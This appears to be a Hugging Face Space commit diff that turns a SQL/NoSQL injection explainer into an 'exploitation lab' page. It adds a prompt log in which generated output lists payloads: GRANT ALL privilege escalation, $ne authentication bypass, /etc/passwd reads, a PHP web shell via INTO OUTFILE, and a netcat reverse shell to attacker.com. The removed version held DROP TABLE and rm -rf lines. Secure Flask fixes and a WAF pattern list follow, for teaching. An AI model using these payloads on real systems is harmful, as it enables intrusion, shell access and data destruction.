Spaces:

S-Dreamer
/

databaseinjectionattacks

Running

App Files Files Community

S-Dreamer commited on May 29, 2025

Commit

fee51c9

verified ·

1 Parent(s): 6662f88

Add 2 files

Browse files

Files changed (2) hide show

index.html +150 -209
prompts.txt +2 -1

index.html CHANGED Viewed

@@ -3,10 +3,47 @@
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>Database Injection Attacks Explained</title>
     <script src="https://cdn.tailwindcss.com"></script>
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
     <style>
         .code-block {
             font-family: 'Courier New', monospace;
             background-color: #2d2d2d;
@@ -14,6 +51,7 @@
             border-radius: 0.5rem;
             padding: 1rem;
             overflow-x: auto;
         }
         .tab-content {
             display: none;
@@ -33,255 +71,158 @@
             transform: translateY(-5px);
             box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
         }
     </style>
 </head>
-<body class="bg-gray-50 min-h-screen">
     <div class="container mx-auto px-4 py-8">
-        <!-- Header -->
-        <header class="text-center mb-12">
-            <h1 class="text-4xl font-bold text-gray-800 mb-4">Database Injection Attacks</h1>
-            <p class="text-xl text-gray-600 max-w-3xl mx-auto">
-                Understanding SQL Injection and NoSQL Injection vulnerabilities and how to protect against them
-            </p>
-        </header>
         <!-- Main Content -->
         <div class="grid grid-cols-1 lg:grid-cols-2 gap-8 mb-12">
-            <!-- SQL Injection Card -->
-            <div class="bg-white rounded-xl shadow-md overflow-hidden attack-card">
                 <div class="p-6">
                     <div class="flex items-center mb-4">
-                        <div class="bg-red-100 p-3 rounded-full mr-4">
-                            <i class="fas fa-database text-red-500 text-xl"></i>
-                        </div>
-                        <h2 class="text-2xl font-bold text-gray-800">SQL Injection</h2>
-                    </div>
-                    <p class="text-gray-600 mb-4">
-                        SQL Injection occurs when an attacker injects malicious SQL code into a web application's database query.
-                        This can lead to unauthorized data access, modification, or deletion.
-                    </p>
-                    <div class="mb-4">
-                        <h3 class="font-semibold text-gray-700 mb-2">Example Attack:</h3>
-                        <div class="code-block mb-2">
-                            SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
                         </div>
-                        <p class="text-sm text-gray-500">
-                            The <span class="text-red-500">--</span> comments out the password check, allowing login as admin without a password.
-                        </p>
                     </div>
-                    <div class="mb-4">
-                        <h3 class="font-semibold text-gray-700 mb-2">Privilege Escalation:</h3>
                         <div class="code-block mb-2">
-                            '; UPDATE users SET role = 'admin' WHERE username = 'attacker' --
                         </div>
-                        <p class="text-sm text-gray-500">
-                            This modifies the database to give the attacker admin privileges.
-                        </p>
                     </div>
-                    <div class="mb-4">
-                        <h3 class="font-semibold text-gray-700 mb-2">System Command Execution:</h3>
                         <div class="code-block mb-2">
-                            '; DROP TABLE users; --
-                        </div>
-                        <p class="text-sm text-gray-500">
-                            This deletes the entire users table (destructive attack).
                         </div>
-                </div>
-                <div class="bg-gray-50 px-6 py-4">
-                    <h3 class="font-semibold text-gray-700 mb-2">Mitigation in Flask:</h3>
-                    <div class="code-block text-sm">
-                        # Use parameterized queries with SQLAlchemy<br>
-                        user = db.session.execute(<br>
-                        &nbsp;&nbsp;db.select(User).where(User.username == :username),<br>
-                        &nbsp;&nbsp;{"username": request.form['username']}<br>
-                        ).scalar_one()
                     </div>
                 </div>
             </div>
-            <!-- NoSQL Injection Card -->
-            <div class="bg-white rounded-xl shadow-md overflow-hidden attack-card">
                 <div class="p-6">
                     <div class="flex items-center mb-4">
-                        <div class="bg-blue-100 p-3 rounded-full mr-4">
-                            <i class="fas fa-server text-blue-500 text-xl"></i>
-                        </div>
-                        <h2 class="text-2xl font-bold text-gray-800">NoSQL Injection</h2>
-                    </div>
-                    <p class="text-gray-600 mb-4">
-                        NoSQL Injection targets NoSQL databases like MongoDB by injecting malicious queries or commands,
-                        often bypassing authentication or extracting data.
-                    </p>
-                    <div class="mb-4">
-                        <h3 class="font-semibold text-gray-700 mb-2">Example Attack:</h3>
-                        <div class="code-block mb-2">
-                            { "username": "admin", "password": {"$ne": ""} }
-                        </div>
-                        <p class="text-sm text-gray-500">
-                            The <span class="text-blue-500">$ne</span> operator makes the query match any admin with non-empty password.
-                        </p>
-                    </div>
-                    <div class="mb-4">
-                        <h3 class="font-semibold text-gray-700 mb-2">Privilege Escalation:</h3>
-                        <div class="code-block mb-2">
-                            { "username": "attacker", "$set": { "role": "admin" } }
-                        </div>
-                        <p class="text-sm text-gray-500">
-                            This updates the attacker's role to admin in MongoDB.
-                        </p>
-                    </div>
-                    <div class="mb-4">
-                        <h3 class="font-semibold text-gray-700 mb-2">System Command Execution:</h3>
-                        <div class="code-block mb-2">
-                            { "username": {"$gt": ""}, "$where": "function() { exec('rm -rf /'); }" }
                         </div>
-                        <p class="text-sm text-gray-500">
-                            JavaScript injection in MongoDB can lead to command execution (if enabled).
-                        </p>
                     </div>
-                </div>
-                <div class="bg-gray-50 px-6 py-4">
-                    <h3 class="font-semibold text-gray-700 mb-2">Mitigation in Flask:</h3>
-                    <div class="code-block text-sm">
-                        # Validate and sanitize all inputs<br>
-                        from bson.regex import Regex<br>
-                        username = Regex("^[a-zA-Z0-9_]+$")<br>
-                        users.find_one({"username": username})
-                    </div>
-                </div>
-            </div>
-        </div>
-        <!-- Comparison Section -->
-        <div class="bg-white rounded-xl shadow-md overflow-hidden mb-12">
-            <div class="p-6">
-                <h2 class="text-2xl font-bold text-gray-800 mb-6">Key Differences</h2>
-                <div class="overflow-x-auto">
-                    <table class="min-w-full divide-y divide-gray-200">
-                        <thead class="bg-gray-50">
-                            <tr>
-                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Aspect</th>
-                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">SQL Injection</th>
-                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">NoSQL Injection</th>
-                            </tr>
-                        </thead>
-                        <tbody class="bg-white divide-y divide-gray-200">
-                            <tr>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Database Type</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Relational (MySQL, PostgreSQL, etc.)</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">NoSQL (MongoDB, CouchDB, etc.)</td>
-                            </tr>
-                            <tr>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Query Syntax</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">SQL language with statements</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">JSON-like query documents</td>
-                            </tr>
-                            <tr>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Injection Method</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">String concatenation in SQL queries</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Operator injection in JSON queries</td>
-                            </tr>
-                            <tr>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Common Attacks</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">UNION attacks, stacked queries</td>
-                                <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Operator abuse ($where, $ne, $gt)</td>
-                            </tr>
-                        </tbody>
-                    </table>
-                </div>
-            </div>
-        </div>
-        <!-- Interactive Demo Section -->
-        <div class="bg-white rounded-xl shadow-md overflow-hidden mb-12">
-            <div class="p-6">
-                <h2 class="text-2xl font-bold text-gray-800 mb-6">Interactive Demo</h2>
-                <div class="flex border-b border-gray-200 mb-6">
-                    <button class="tab-btn py-2 px-4 font-medium text-blue-600 border-b-2 border-blue-600" data-tab="sql">SQL Injection</button>
-                    <button class="tab-btn py-2 px-4 font-medium text-gray-500 hover:text-blue-600" data-tab="nosql">NoSQL Injection</button>
-                </div>
-                <div id="sql" class="tab-content active">
                     <div class="mb-6">
-                        <h3 class="text-lg font-semibold text-gray-700 mb-3">Vulnerable Login Form</h3>
-                        <div class="bg-gray-100 p-4 rounded-lg mb-4">
-                            <div class="mb-3">
-                                <label class="block text-gray-700 mb-1">Username:</label>
-                                <input type="text" id="sql-username" class="w-full px-3 py-2 border rounded" value="admin' --">
-                            </div>
-                            <div class="mb-3">
-                                <label class="block text-gray-700 mb-1">Password:</label>
-                                <input type="password" id="sql-password" class="w-full px-3 py-2 border rounded" value="anything">
-                            </div>
-                            <button onclick="runSqlDemo()" class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">Login</button>
-                        </div>
-                        <div class="code-block mb-2" id="sql-query">
-                            SELECT * FROM users WHERE username = '[username]' AND password = '[password]'
-                        </div>
-                        <div id="sql-result" class="hidden mt-4 p-3 bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700">
-                            <p>Login successful as admin!</p>
                         </div>
                     </div>
-                </div>
-                <div id="nosql" class="tab-content">
                     <div class="mb-6">
-                        <h3 class="text-lg font-semibold text-gray-700 mb-3">Vulnerable Login Form</h3>
-                        <div class="bg-gray-100 p-4 rounded-lg mb-4">
-                            <div class="mb-3">
-                                <label class="block text-gray-700 mb-1">Username:</label>
-                                <input type="text" id="nosql-username" class="w-full px-3 py-2 border rounded" value="admin">
-                            </div>
-                            <div class="mb-3">
-                                <label class="block text-gray-700 mb-1">Password:</label>
-                                <input type="password" id="nosql-password" class="w-full px-3 py-2 border rounded" value="{$ne: \"\"}">
-                            </div>
-                            <button onclick="runNoSqlDemo()" class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700">Login</button>
-                        </div>
-                        <div class="code-block mb-2" id="nosql-query">
-                            db.users.findOne({ username: "[username]", password: "[password]" })
-                        </div>
-                        <div id="nosql-result" class="hidden mt-4 p-3 bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700">
-                            <p>Login successful as admin!</p>
                         </div>
                     </div>
                 </div>
             </div>
         </div>
-        <!-- Prevention Section -->
-        <div class="bg-white rounded-xl shadow-md overflow-hidden">
             <div class="p-6">
-                <h2 class="text-2xl font-bold text-gray-800 mb-6">Prevention Best Practices</h2>
                 <div class="grid grid-cols-1 md:grid-cols-2 gap-6">
-                    <div class="bg-green-50 p-4 rounded-lg border border-green-200">
                         <div class="flex items-center mb-3">
-                            <i class="fas fa-shield-alt text-green-500 mr-3"></i>
-                            <h3 class="text-lg font-semibold text-gray-800">Input Validation</h3>
                         </div>
-                        <p class="text-gray-600">
-                            Validate all user inputs against strict whitelists of allowed characters and patterns.
-                            Reject any input that doesn't match expected formats.
-                        </p>
                     </div>
-                    <div class="bg-green-50 p-4 rounded-lg border border-green-200">
                         <div class="flex items-center mb-3">
-                            <i class="fas fa-lock text-green-500 mr-3"></i>
-                            <h3 class="text-lg font-semibold text-gray-800">Parameterized Queries</h3>
                         </div>
-                        <p class="text-gray-600">
-                            Always use prepared statements or parameterized queries that separate SQL code from data.
-                            Never concatenate user input directly into queries.
-                        </p>
                     </div>
-                    <div class="bg-green-50 p-4 rounded-lg border border-green-200">
-                        <div class="flex items-center mb-3">
-                            <i class="fas fa-user-shield text-green-500 mr-3"></i>
-                            <h3 class="text-lg font-semibold text-gray-800">Least Privilege</h3>
-                        </div>
-                        <p class="text-gray
 </html>

 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>SQL/NoSQL Injection Exploitation Lab</title>
     <script src="https://cdn.tailwindcss.com"></script>
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
     <style>
+        .terminal {
+            font-family: 'Courier New', monospace;
+            background-color: #1e1e1e;
+            color: #f8f8f2;
+            border-radius: 0.5rem;
+            padding: 1.5rem;
+            overflow-x: auto;
+            position: relative;
+        }
+        .terminal-header {
+            background-color: #2d2d2d;
+            padding: 0.5rem 1rem;
+            border-top-left-radius: 0.5rem;
+            border-top-right-radius: 0.5rem;
+            display: flex;
+            align-items: center;
+        }
+        .terminal-dot {
+            width: 12px;
+            height: 12px;
+            border-radius: 50%;
+            margin-right: 6px;
+        }
+        .terminal-red { background-color: #ff5f56; }
+        .terminal-yellow { background-color: #ffbd2e; }
+        .terminal-green { background-color: #27c93f; }
+        .terminal-cursor {
+            display: inline-block;
+            width: 8px;
+            height: 16px;
+            background-color: #f8f8f2;
+            animation: blink 1s infinite;
+        }
+        @keyframes blink {
+            0%, 100% { opacity: 1; }
+            50% { opacity: 0; }
+        }
         .code-block {
             font-family: 'Courier New', monospace;
             background-color: #2d2d2d;
             border-radius: 0.5rem;
             padding: 1rem;
             overflow-x: auto;
+            position: relative;
         }
         .tab-content {
             display: none;
             transform: translateY(-5px);
             box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
         }
+        .blink {
+            animation: blink 1s infinite;
+        }
     </style>
 </head>
+<body class="bg-gray-900 text-gray-100 min-h-screen">
     <div class="container mx-auto px-4 py-8">
+        <!-- Terminal Header -->
+        <div class="terminal mb-8">
+            <div class="terminal-header">
+                <div class="terminal-dot terminal-red"></div>
+                <div class="terminal-dot terminal-yellow"></div>
+                <div class="terminal-dot terminal-green"></div>
+                <div class="ml-2 text-sm">pentester@secure-lab:~/sql_injection/_</div>
+            </div>
+            <div class="mt-2">
+                <div class="text-green-400">$ <span class="typing-text"></span><span class="terminal-cursor"></span></div>
+                <div id="terminal-output" class="mt-4"></div>
+            </div>
+        </div>
         <!-- Main Content -->
         <div class="grid grid-cols-1 lg:grid-cols-2 gap-8 mb-12">
+            <!-- Privilege Escalation Card -->
+            <div class="bg-gray-800 rounded-xl shadow-lg overflow-hidden attack-card">
                 <div class="p-6">
                     <div class="flex items-center mb-4">
+                        <div class="bg-red-900 p-3 rounded-full mr-4">
+                            <i class="fas fa-user-shield text-red-400 text-xl"></i>
                         </div>
+                        <h2 class="text-2xl font-bold text-white">Privilege Escalation</h2>
                     </div>
+                    <div class="mb-6">
+                        <h3 class="text-lg font-semibold text-gray-300 mb-3">SQL Injection</h3>
                         <div class="code-block mb-2">
+                            <span class="text-gray-400"># Vulnerable Flask endpoint</span><br>
+                            @app.route('/user/&lt;int:user_id&gt;')<br>
+                            def get_user(user_id):<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;query = f"SELECT * FROM users WHERE id = {user_id}"<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;result = db.execute(query)<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;return jsonify(result.fetchall())<br><br>
+                            <span class="text-gray-400"># Attack payload:</span><br>
+                            /user/1; GRANT ALL PRIVILEGES ON *.* TO 'attacker'@'%' IDENTIFIED BY 'pwned123'--
                         </div>
                     </div>
+                    <div class="mb-6">
+                        <h3 class="text-lg font-semibold text-gray-300 mb-3">NoSQL Injection</h3>
                         <div class="code-block mb-2">
+                            <span class="text-gray-400">// Vulnerable MongoDB query</span><br>
+                            db.users.find({<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;username: req.body.username,<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;password: req.body.password<br>
+                            });<br><br>
+                            <span class="text-gray-400">// Attack payload (JSON):</span><br>
+                            {<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;"username": {"$ne": null},<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;"password": {"$ne": null}<br>
+                            }
                         </div>
                     </div>
                 </div>
             </div>
+            <!-- Command Execution Card -->
+            <div class="bg-gray-800 rounded-xl shadow-lg overflow-hidden attack-card">
                 <div class="p-6">
                     <div class="flex items-center mb-4">
+                        <div class="bg-blue-900 p-3 rounded-full mr-4">
+                            <i class="fas fa-terminal text-blue-400 text-xl"></i>
                         </div>
+                        <h2 class="text-2xl font-bold text-white">Command Execution</h2>
                     </div>
                     <div class="mb-6">
+                        <h3 class="text-lg font-semibold text-gray-300 mb-3">MySQL Command Execution</h3>
+                        <div class="code-block mb-2">
+                            <span class="text-gray-400">-- Enable command execution</span><br>
+                            SELECT * FROM users WHERE id = 1;<br>
+                            SELECT sys_exec('whoami'); --<br><br>
+                            <span class="text-gray-400">-- Writing web shell</span><br>
+                            SELECT '&lt;?php system($_GET["cmd"]); ?&gt;'<br>
+                            INTO OUTFILE '/var/www/html/shell.php'; --
                         </div>
                     </div>
                     <div class="mb-6">
+                        <h3 class="text-lg font-semibold text-gray-300 mb-3">PostgreSQL Exploitation</h3>
+                        <div class="code-block mb-2">
+                            <span class="text-gray-400"># Vulnerable Flask code</span><br>
+                            @app.route('/search')<br>
+                            def search():<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;query = request.args.get('q')<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;sql = f"SELECT * FROM products WHERE name LIKE '%{query}%'"<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;return execute_query(sql)<br><br>
+                            <span class="text-gray-400"># Attack payload:</span><br>
+                            /search?q='; COPY (SELECT '') TO PROGRAM 'nc -e /bin/bash attacker.com 4444'; --
                         </div>
                     </div>
                 </div>
             </div>
         </div>
+        <!-- Mitigation Section -->
+        <div class="bg-gray-800 rounded-xl shadow-lg overflow-hidden mb-12">
             <div class="p-6">
+                <h2 class="text-2xl font-bold text-white mb-6">Secure Mitigation Strategies</h2>
                 <div class="grid grid-cols-1 md:grid-cols-2 gap-6">
+                    <div class="bg-gray-700 p-4 rounded-lg border border-gray-600">
                         <div class="flex items-center mb-3">
+                            <i class="fas fa-shield-alt text-green-400 mr-3"></i>
+                            <h3 class="text-lg font-semibold text-white">SQLAlchemy ORM</h3>
+                        </div>
+                        <div class="code-block text-sm">
+                            <span class="text-gray-400"># SECURE: Using SQLAlchemy ORM</span><br>
+                            @app.route('/user/&lt;int:user_id&gt;')<br>
+                            def get_user_secure(user_id):<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;user = User.query.filter_by(id=user_id).first()<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;if user:<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return jsonify({<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'id': user.id,<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'username': user.username<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;})<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;return jsonify({'error': 'User not found'}), 404
                         </div>
                     </div>
+                    <div class="bg-gray-700 p-4 rounded-lg border border-gray-600">
                         <div class="flex items-center mb-3">
+                            <i class="fas fa-lock text-green-400 mr-3"></i>
+                            <h3 class="text-lg font-semibold text-white">NoSQL Injection Prevention</h3>
+                        </div>
+                        <div class="code-block text-sm">
+                            <span class="text-gray-400"># SECURE: NoSQL injection prevention</span><br>
+                            def authenticate_user_secure(username, password):<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;if not isinstance(username, str):<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return None<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;username = re.escape(username)<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;user = db.users.find_one({<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'username': username,<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'password': hash_password(password)<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;})<br>
+                            &nbsp;&nbsp;&nbsp;&nbsp;return user
                         </div>
                     </div>
+                </div>
+            </div>
+        </div>
+        <!-- Advanced Defenses -->
+        <div class="bg-gray-800 rounded-xl shadow-lg overflow-hidden">
+            <
 </html>

prompts.txt CHANGED Viewed

	@@ -1 +1,2 @@
1	- SQL Injection and NoSQL Injection are two types of attacks that target the database layer of an application. The main difference between them lies in the type of database they target. SQL Injection SQL Injection occurs when an attacker is able to inject malicious SQL code into a web application's database in order to extract or modify sensitive data. This happens when user input is not properly sanitized or validated, allowing an attacker to inject malicious SQL code. NoSQL Injection NoSQL Injection, on the other hand, targets NoSQL databases, such as MongoDB. It occurs when an attacker is able to inject malicious NoSQL queries or commands into a web application's database. This can happen when user input is not properly validated or sanitized, allowing an attacker to manipulate the NoSQL query. Key differences * Database type: SQL Injection targets relational databases (e.g., MySQL), while NoSQL Injection targets NoSQL databases (e.g., MongoDB). * Query syntax: SQL Injection involves injecting malicious SQL code, while NoSQL Injection involves injecting malicious NoSQL queries or commands. Mitigating SQL Injection in Flask API To mitigate SQL Injection in a Flask API, follow these best practices: 1. Use an ORM (Object-Relational Mapping) tool: Flask-SQLAlchemy is a popular ORM tool for Flask that abstracts the underlying SQL database and provides a safe way to interact with the database. 2. Use parameterized queries: Instead of directly injecting user input into SQL queries, use parameterized queries that separate the query logic from the user input. 3. Validate and sanitize user input: Always validate and sanitize user input to prevent malicious data from entering the database. Generate examples of privilege escalation and executing system commands


1	+ SQL Injection and NoSQL Injection are two types of attacks that target the database layer of an application. The main difference between them lies in the type of database they target. SQL Injection SQL Injection occurs when an attacker is able to inject malicious SQL code into a web application's database in order to extract or modify sensitive data. This happens when user input is not properly sanitized or validated, allowing an attacker to inject malicious SQL code. NoSQL Injection NoSQL Injection, on the other hand, targets NoSQL databases, such as MongoDB. It occurs when an attacker is able to inject malicious NoSQL queries or commands into a web application's database. This can happen when user input is not properly validated or sanitized, allowing an attacker to manipulate the NoSQL query. Key differences * Database type: SQL Injection targets relational databases (e.g., MySQL), while NoSQL Injection targets NoSQL databases (e.g., MongoDB). * Query syntax: SQL Injection involves injecting malicious SQL code, while NoSQL Injection involves injecting malicious NoSQL queries or commands. Mitigating SQL Injection in Flask API To mitigate SQL Injection in a Flask API, follow these best practices: 1. Use an ORM (Object-Relational Mapping) tool: Flask-SQLAlchemy is a popular ORM tool for Flask that abstracts the underlying SQL database and provides a safe way to interact with the database. 2. Use parameterized queries: Instead of directly injecting user input into SQL queries, use parameterized queries that separate the query logic from the user input. 3. Validate and sanitize user input: Always validate and sanitize user input to prevent malicious data from entering the database. Generate examples of privilege escalation and executing system commands
2	+ ``` // S3CUR3_C0D3_W4RR10R // STATUS: OPERATIONAL USER: PENTESTER ACCESS: EDUCATIONAL_MODE pentester@secure-lab:~/sql_injection/_ > Initializing SQL Injection simulation environment... > Loading privilege escalation examples... > WARNING: EDUCATIONAL CONTENT ONLY - ETHICAL USE REQUIRED > SYSTEM PRIMED. DEMONSTRATING ATTACK VECTORS. ``` ## PRIVILEGE ESCALATION EXAMPLES ### SQL Injection → Database Privilege Escalation ```python # VULNERABLE Flask endpoint (DO NOT USE IN PRODUCTION) @app.route('/user/<int:user_id>') def get_user(user_id): # VULNERABLE: Direct string interpolation query = f"SELECT * FROM users WHERE id = {user_id}" result = db.execute(query) return jsonify(result.fetchall()) # ATTACK PAYLOAD: # /user/1; GRANT ALL PRIVILEGES ON . TO 'attacker'@'%' IDENTIFIED BY 'pwned123'-- ``` ### NoSQL Injection → Authentication Bypass ```javascript // VULNERABLE MongoDB query db.users.find({ username: req.body.username, password: req.body.password }); // ATTACK PAYLOAD (JSON): { "username": {"$ne": null}, "password": {"$ne": null} } // Result: Bypasses authentication by returning any user where username != null ``` ## SYSTEM COMMAND EXECUTION EXAMPLES ### SQL Injection → Command Execution (MySQL) ```sql -- Enable command execution (if MySQL allows) SELECT * FROM users WHERE id = 1; SELECT sys_exec('whoami'); -- -- Alternative using LOAD_FILE for reconnaissance SELECT LOAD_FILE('/etc/passwd'); -- -- Writing web shell via INTO OUTFILE SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; -- ``` ### PostgreSQL Advanced Exploitation ```python # VULNERABLE Flask code @app.route('/search') def search(): query = request.args.get('q') # DANGER: Direct interpolation sql = f"SELECT * FROM products WHERE name LIKE '%{query}%'" return execute_query(sql) # ATTACK PAYLOAD: # /search?q='; COPY (SELECT '') TO PROGRAM 'nc -e /bin/bash attacker.com 4444'; -- ``` ## SECURE MITIGATION STRATEGIES ```python from flask import Flask, request, jsonify from flask_sqlalchemy import SQLAlchemy from sqlalchemy import text import re app = Flask(__name__) db = SQLAlchemy(app) # ✅ SECURE: Using SQLAlchemy ORM class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique=True, nullable=False) email = db.Column(db.String(120), unique=True, nullable=False) @app.route('/user/<int:user_id>') def get_user_secure(user_id): # ✅ SECURE: ORM prevents injection user = User.query.filter_by(id=user_id).first() if user: return jsonify({ 'id': user.id, 'username': user.username, 'email': user.email }) return jsonify({'error': 'User not found'}), 404 # ✅ SECURE: Parameterized queries for complex operations @app.route('/search') def search_secure(): query = request.args.get('q', '') # Input validation if not re.match(r'^[a-zA-Z0-9\s]+$', query): return jsonify({'error': 'Invalid search query'}), 400 # Parameterized query sql = text("SELECT * FROM products WHERE name ILIKE :search_term") result = db.session.execute(sql, {'search_term': f'%{query}%'}) return jsonify([dict(row) for row in result]) # ✅ SECURE: NoSQL injection prevention (MongoDB) def authenticate_user_secure(username, password): import pymongo from bson.objectid import ObjectId # Validate input types if not isinstance(username, str) or not isinstance(password, str): return None # Escape special characters username = re.escape(username) # Use exact match queries user = db.users.find_one({ 'username': username, 'password': hash_password(password) # Always hash passwords }) return user ``` ## ADVANCED DEFENSE MECHANISMS ```python # Web Application Firewall (WAF) rules class SQLInjectionFilter: MALICIOUS_PATTERNS = [ r'(\b(union\|select\|insert\|update\|delete\|drop\|create\|alter)\b)', r'(\'\|\"\|\;\|\-\-\|\#)', r'(\bor\b.\=.\=)', r'(\bunion\b.\bselect\b)', r'(\bexec\b\|\bsystem\b\|\bcmd\b)' ] @staticmethod def is_malicious(input_string): for pattern in SQLInjectionFilter.MALICIOUS_PATTERNS: if re.search(pattern, input_string.lower()): return True return False # Database connection security class SecureDBConnection: def __init__(self): self.connection_string = ( "postgresql://limited_user:secure_pass@localhost:5432/app_db" "?sslmode=require" ) def get_connection(self): # Use connection pooling and least privilege return create_engine( self.connection_string, pool_pre_ping=True, pool_recycle=300 ) ``` ``` > MISSION COMPLETE: Security vectors analyzed > DEFENSE PROTOCOLS: Activated > REMINDER: Use knowledge ethically - CTF challenges only [F1] EXPLOIT_RESEARCH [F2] DEFENSE_MATRIX [F3] CTF_MODE v3.1.42 Penetration Testing Secure Development Ethical Hacking CPU: 23% MEM: 67% NET: 1.2Mbps SECURITY_ENHANCED ``` Remember*: These examples are for educational purposes and CTF challenges only. Always follow responsible disclosure and ethical hacking principles when discovering vulnerabilities in real systems.